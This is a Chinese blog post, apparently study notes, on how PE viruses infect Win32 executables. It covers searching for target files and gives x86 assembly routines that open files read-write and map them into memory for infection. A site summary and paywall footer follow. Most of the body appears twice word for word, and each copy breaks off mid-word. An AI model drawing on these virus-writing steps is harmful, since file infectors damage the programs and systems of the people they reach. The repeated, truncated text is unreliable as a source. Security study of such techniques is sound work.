说起“感染技术”,一般印象里都是——感染文件,准确说,是“感染可执行文件”。事实上,除了文件感染,也可以是“进程感染”,也就是“进程注入”。但是相比而言,文件感染古老多了——早在单进程环境的DOS下就开始发展,而且相比“进程注入”,在我看来要复杂些。
现在我们只考虑Win32环境下的文件感染。毫无疑问,读写文件的过程需要大量使用到API,如果看过我之前的关于“搜索API”的学习笔记的话,那么这个工作在这里不过是一个循环而已。
先考虑最简单的情况,感染没有在运行的、普通的执行文件。
首先是要搜索文件,Win32API有三个函数:FindFirstFile(),FindNextFile(),FindClose(),事实上大家都可以想象到,应该是FindFirstFileA(),FindNextFileA()和FindFirstFileW(),FindNextFileW(),Windows的一贯风格。这几个函数由kernel32.dll导出,具体使用可以通过MSDN解决了,不过这里要强调一个结构:
WIN32_FIND_DATA ,这里面会保存有搜索到的文件的相关信息,特别是
“文件大小”
(DWORD nFileSizeHigh; DWORD nFileSizeLow;如果这个文件没有大于4GB的话,就只用考虑nFileSizeLow)
和“文件名”
(TCHAR cFileName[MAX_PATH])
这两个变量,对我们来说比较重要。
下面,搜索到具体的文件后,看看我们需要些哪些API支持我们的工作:
;----------------------------------------------
; input:
; ESI = Address of Filename
; _CreateFileA = VA of CreateFileA
;
; output:
; EAX = Opened Filehandle or -1
;
; used reg
; EAX,ESI
;----------------------------------------------
OpenFile proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi
call _CreateFileA
ret
OpenFile endp
首当其冲的当然是以“可读”和“可写”方式打开文件,kernel32里的CreateFileA完成这项工作。
;----------------------------------------------
; input:
; ECX = Mapping Size
; _CreateFileMappingA = VA of CreateFileMappingA
; FileHandle = Opened Filehandle
;
; output:
; EAX = Mapped Handle or -1
;
; used reg
; EAX,ECX
;----------------------------------------------
CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr FileHandle
call _CreateFileMappingA
ret
CreateMap endp
;----------------------------------------------
; input:
; ECX = Mapping Size
; _MapViewOfFile = VA of MapViewOfFile
; MapHandle = Mapped Maphandle
;
; output:
; EAX = Map Address or 0
;
; used reg
; EAX,ECX
;----------------------------------------------
MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 00000002h
push dword ptr MapHandle
call _MapViewOfFile
ret
MapFile endp
下来就是把文件映射到内存里,当然,用ReadFile和WriteFile也是可以的,可是我喜欢读写“内存”的感觉(感觉是绝对一样的),而不是不停的push push地去调用API,哪怕我只要读或写一个Byte。CreateFileMappingA和MapViewOfFile,这两个函数都在kernel32里
还有一些API比如SetFileAttributesA,UnmapViewOfFile和CloseHan
现在我们只考虑Win32环境下的文件感染。毫无疑问,读写文件的过程需要大量使用到API,如果看过我之前的关于“搜索API”的学习笔记的话,那么这个工作在这里不过是一个循环而已。
先考虑最简单的情况,感染没有在运行的、普通的执行文件。
首先是要搜索文件,Win32API有三个函数:FindFirstFile(),FindNextFile(),FindClose(),事实上大家都可以想象到,应该是FindFirstFileA(),FindNextFileA()和FindFirstFileW(),FindNextFileW(),Windows的一贯风格。这几个函数由kernel32.dll导出,具体使用可以通过MSDN解决了,不过这里要强调一个结构:
WIN32_FIND_DATA ,这里面会保存有搜索到的文件的相关信息,特别是
“文件大小”
(DWORD nFileSizeHigh; DWORD nFileSizeLow;如果这个文件没有大于4GB的话,就只用考虑nFileSizeLow)
和“文件名”
(TCHAR cFileName[MAX_PATH])
这两个变量,对我们来说比较重要。
下面,搜索到具体的文件后,看看我们需要些哪些API支持我们的工作:
;----------------------------------------------
; input:
; ESI = Address of Filename
; _CreateFileA = VA of CreateFileA
;
; output:
; EAX = Opened Filehandle or -1
;
; used reg
; EAX,ESI
;----------------------------------------------
OpenFile proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi
call _CreateFileA
ret
OpenFile endp
首当其冲的当然是以“可读”和“可写”方式打开文件,kernel32里的CreateFileA完成这项工作。
;----------------------------------------------
; input:
; ECX = Mapping Size
; _CreateFileMappingA = VA of CreateFileMappingA
; FileHandle = Opened Filehandle
;
; output:
; EAX = Mapped Handle or -1
;
; used reg
; EAX,ECX
;----------------------------------------------
CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr FileHandle
call _CreateFileMappingA
ret
CreateMap endp
;----------------------------------------------
; input:
; ECX = Mapping Size
; _MapViewOfFile = VA of MapViewOfFile
; MapHandle = Mapped Maphandle
;
; output:
; EAX = Map Address or 0
;
; used reg
; EAX,ECX
;----------------------------------------------
MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 00000002h
push dword ptr MapHandle
call _MapViewOfFile
ret
MapFile endp
下来就是把文件映射到内存里,当然,用ReadFile和WriteFile也是可以的,可是我喜欢读写“内存”的感觉(感觉是绝对一样的),而不是不停的push push地去调用API,哪怕我只要读或写一个Byte。CreateFileMappingA和MapViewOfFile,这两个函数都在kernel32里
还有一些API比如SetFileAttributesA,UnmapViewOfFile和CloseHan

本文介绍了PE病毒的感染技术,重点在Win32环境下如何感染文件。通过API调用来搜索和感染文件,涉及FindFirstFile、CreateFile、CreateFileMapping和MapViewOfFile等函数。讨论了文件大小、对齐以及对PE结构的修改,包括调整Entry Point和Section Table。文章还探讨了感染方式,如后缀式和散落式,并提及了进程注入的可能性。
最低0.47元/天 解锁文章
1万+

被折叠的 条评论
为什么被折叠?



